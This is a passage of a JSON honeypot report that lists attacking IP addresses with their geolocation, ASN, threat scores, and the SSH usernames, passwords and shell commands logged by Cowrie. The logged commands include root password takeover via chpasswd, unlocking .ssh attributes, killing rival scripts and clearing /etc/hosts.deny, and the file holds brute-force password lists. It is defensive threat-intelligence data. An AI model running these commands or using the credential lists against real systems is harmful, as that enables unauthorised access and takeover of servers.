        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8Bl5NgbJyItF\"|chpasswd|bash",
        "echo \"root:UPlxb3wCtSZT\"|chpasswd|bash",
        "echo \"root:iwyBhPFYYgk2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T04:07:22.830000+00:00",
        "last_seen_30d": "2026-03-29T05:43:48.396000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "85.17.40.132": {
      "attack_count": 304,
      "first_seen": "2026-03-28T20:29:37.909Z",
      "last_seen": "2026-03-28T21:42:54.164Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@wsx3edc",
        "123456780",
        "1QAzxsw2",
        "1q2w3e4r*",
        "220260",
        "2342w3e4r",
        "369963",
        "8974",
        "Admin1!",
        "FuckYou",
        "Pass@word1234",
        "`1234qwer",
        "admin1234*",
        "christiane",
        "maggiori",
        "paradox",
        "qazwsxedc123456",
        "rocky123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BuVPUYDJJWrz\"|chpasswd|bash",
        "echo \"root:VvKgk1u3KlFR\"|chpasswd|bash",
        "echo \"root:tPspS9ZOTbEs\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T20:29:37.909000+00:00",
        "last_seen_30d": "2026-03-28T21:44:00.928000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "150.5.169.138": {
      "attack_count": 256,
      "first_seen": "2026-03-16T14:28:26.053Z",
      "last_seen": "2026-03-16T14:48:54.007Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bert",
        "rtest",
        "adminer",
        "apolo",
        "ceshi",
        "coder",
        "cody",
        "sansforensics"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Apolo123",
        "Fw123456@",
        "abc123!@#",
        "bert",
        "ceshi1234",
        "coder123!",
        "password",
        "rtest123",
        "sansforensicspass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bert\\n7AdkRm5LMzmi\\n7AdkRm5LMzmi\\n\"|passwd",
        "echo \"root:Agh0LfqkHRYt\"|chpasswd|bash",
        "echo \"rtest123\\nFrsJwlnD8Xop\\nFrsJwlnD8Xop\\n\"|passwd",
        "echo -e \"bert\\n7AdkRm5LMzmi\\n7AdkRm5LMzmi\"|passwd|bash",
        "echo -e \"rtest123\\nFrsJwlnD8Xop\\nFrsJwlnD8Xop\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:28:26.053000+00:00",
        "last_seen_30d": "2026-03-16T14:50:02.145000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 36
      }
    },
    "178.128.160.22": {
      "attack_count": 225,
      "first_seen": "2026-03-07T23:57:04.899Z",
      "last_seen": "2026-03-08T00:40:55.768Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "password",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin",
        "passw0rd",
        "password1",
        "qwerty",
        "Admin123",
        "admin123",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 321,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:57:04.899000+00:00",
        "last_seen_30d": "2026-03-08T00:40:55.768000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 225,
        "Suricata": 96
      }
    },
    "102.22.27.146": {
      "attack_count": 188,
      "first_seen": "2026-03-31T09:05:31.744Z",
      "last_seen": "2026-03-31T23:36:40.143Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "systems",
        "admin",
        "adminss",
        "asteriskuser",
        "emo",
        "emoss",
        "freepbxuser",
        "issabel",
        "sugarmaint",
        "supports",
        "supportss",
        "centos",
        "pbxsystem",
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025",
        "vivo@01011",
        "Admin@123",
        "Pa$$word@123",
        "Prabash@123",
        "SangomaDefaultPassword",
        "pbx@01011",
        "vicidial"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 37350,
      "as_org": "dds55",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T09:05:31.744000+00:00",
        "last_seen_30d": "2026-03-31T23:37:48.954000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 127
      }
    },
    "176.191.43.176": {
      "attack_count": 187,
      "first_seen": "2026-03-08T04:43:40.711Z",
      "last_seen": "2026-03-08T05:04:07.198Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "demon",
        "adrian",
        "adv",
        "lyt",
        "pwserver",
        "rachel",
        "thomas",
        "xx"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123qwe",
        "12345678",
        "1234qwer",
        "Rachel123!",
        "Thomas123!",
        "Xx123",
        "demon123!",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"demon123!\\nwLyBOUaKWQ5Z\\nwLyBOUaKWQ5Z\\n\"|passwd",
        "echo \"root:pyvxq6OR2uXe\"|chpasswd|bash",
        "echo -e \"demon123!\\nwLyBOUaKWQ5Z\\nwLyBOUaKWQ5Z\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Brignais",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:43:40.711000+00:00",
        "last_seen_30d": "2026-03-08T05:05:14.331000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "43.134.78.21": {
      "attack_count": 187,
      "first_seen": "2026-03-05T10:33:42.206Z",
      "last_seen": "2026-03-05T10:59:17.178Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "345gs5662d34",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aA@",
        "2024",
        "A1234567899876543210A",
        "Admin@1234",
        "Qq@123456",
        "aa123456!@#",
        "aa@147258",
        "aaa123456",
        "secret2024",
        "ubuntu2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin@1234\\nShkMVm7glJl9\\nShkMVm7glJl9\\n\"|passwd",
        "echo \"root:NBWy8RkAkbvv\"|chpasswd|bash",
        "echo -e \"Admin@1234\\nShkMVm7glJl9\\nShkMVm7glJl9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:33:42.206000+00:00",
        "last_seen_30d": "2026-03-05T11:00:22.054000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "125.21.59.218": {
      "attack_count": 168,
      "first_seen": "2026-03-29T01:02:07.425Z",
      "last_seen": "2026-03-29T02:08:36.741Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123!",
        "1q1q1q1q!",
        "222",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa4226391.",
        "Admin123456.",
        "Change123",
        "Cloud@2025",
        "Cq123456!",
        "Edu123",
        "Pa$$w0rD",
        "Passw0rt12",
        "Zc@123456",
        "admin654321",
        "ashish@123",
        "convert",
        "halflifeserver",
        "nirvana1",
        "passwd@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:VT726BmLr4TY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T01:02:07.425000+00:00",
        "last_seen_30d": "2026-03-29T02:09:46.521000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "178.156.254.210": {
      "attack_count": 151,
      "first_seen": "2026-03-15T14:34:06.686Z",
      "last_seen": "2026-03-16T12:22:04.958Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "0987654321",
        "101010",
        "10101010",
        "1010101010",
        "111",
        "11112222",
        "111222",
        "111222333",
        "112233",
        "11223344",
        "1122334455",
        "112233445566",
        "12121212",
        "123",
        "123123",
        "123123123",
        "123123@",
        "123123@@",
        "123321",
        "1234"
      ],
      "commands_executed": [
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 213230,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:36:46.249000+00:00",
        "last_seen_30d": "2026-03-16T22:45:07.019000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 151,
        "Suricata": 107
      }
    },
    "157.245.190.56": {
      "attack_count": 128,
      "first_seen": "2026-03-03T03:32:53.957Z",
      "last_seen": "2026-03-03T03:58:50.732Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "123qweasdzxc!@#",
        "1qa2ws3ed",
        "3245gs5662d34",
        "345gs5662d34",
        "ASDzxc123456",
        "Qwerty123456",
        "Redhat@123",
        "a3ltco260ch.",
        "a4075b225c",
        "abc123@@",
        "root123.",
        "test12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BkIpq49w5WJ1\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T03:32:53.957000+00:00",
        "last_seen_30d": "2026-03-03T03:59:52.115000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 33
      }
    },
    "103.174.115.5": {
      "attack_count": 123,
      "first_seen": "2026-03-10T23:34:14.549Z",
      "last_seen": "2026-03-11T00:09:22.132Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alfred",
        "clawd",
        "es",
        "innova",
        "java",
        "pedro",
        "super",
        "temp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!",
        "Asdf@1234",
        "Java123!",
        "alfred",
        "elastic",
        "innova",
        "pedro1234",
        "ubuntu@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UI50OlaXeYL9\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:34:14.549000+00:00",
        "last_seen_30d": "2026-03-11T00:10:30.617000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "178.185.136.57": {
      "attack_count": 119,
      "first_seen": "2026-03-18T17:56:08.578Z",
      "last_seen": "2026-03-18T18:14:03.564Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "onlyoffice",
        "345gs5662d34",
        "andy",
        "ftpuser1",
        "hafiz",
        "mohsen",
        "nikola",
        "rachel",
        "sabrina",
        "sysadmin",
        "user2"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Onlyoffice123!",
        "ftpuser1pass",
        "hafiz123!",
        "mohsenpass",
        "rachel1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Onlyoffice123!\\nknbZVK4G2JPK\\nknbZVK4G2JPK\\n\"|passwd",
        "echo -e \"Onlyoffice123!\\nknbZVK4G2JPK\\nknbZVK4G2JPK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Neryungri",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:56:08.578000+00:00",
        "last_seen_30d": "2026-03-18T18:15:07.291000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "186.80.18.158": {
      "attack_count": 119,
      "first_seen": "2026-03-08T00:16:26.328Z",
      "last_seen": "2026-03-08T00:38:04.306Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "www",
        "345gs5662d34",
        "daniel",
        "dp",
        "elaine",
        "mosquitto",
        "node",
        "root",
        "steve",
        "syncthing",
        "ys"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "69696969",
        "Dp123!",
        "Node123",
        "steve123!",
        "syncthing1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nPLrKf1rBlxSF\\nPLrKf1rBlxSF\\n\"|passwd",
        "echo -e \"123\\nPLrKf1rBlxSF\\nPLrKf1rBlxSF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T00:16:26.328000+00:00",
        "last_seen_30d": "2026-03-08T00:39:07.079000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "86.104.194.30": {
      "attack_count": 118,
      "first_seen": "2026-03-08T18:55:13.022Z",
      "last_seen": "2026-03-08T19:12:39.316Z",
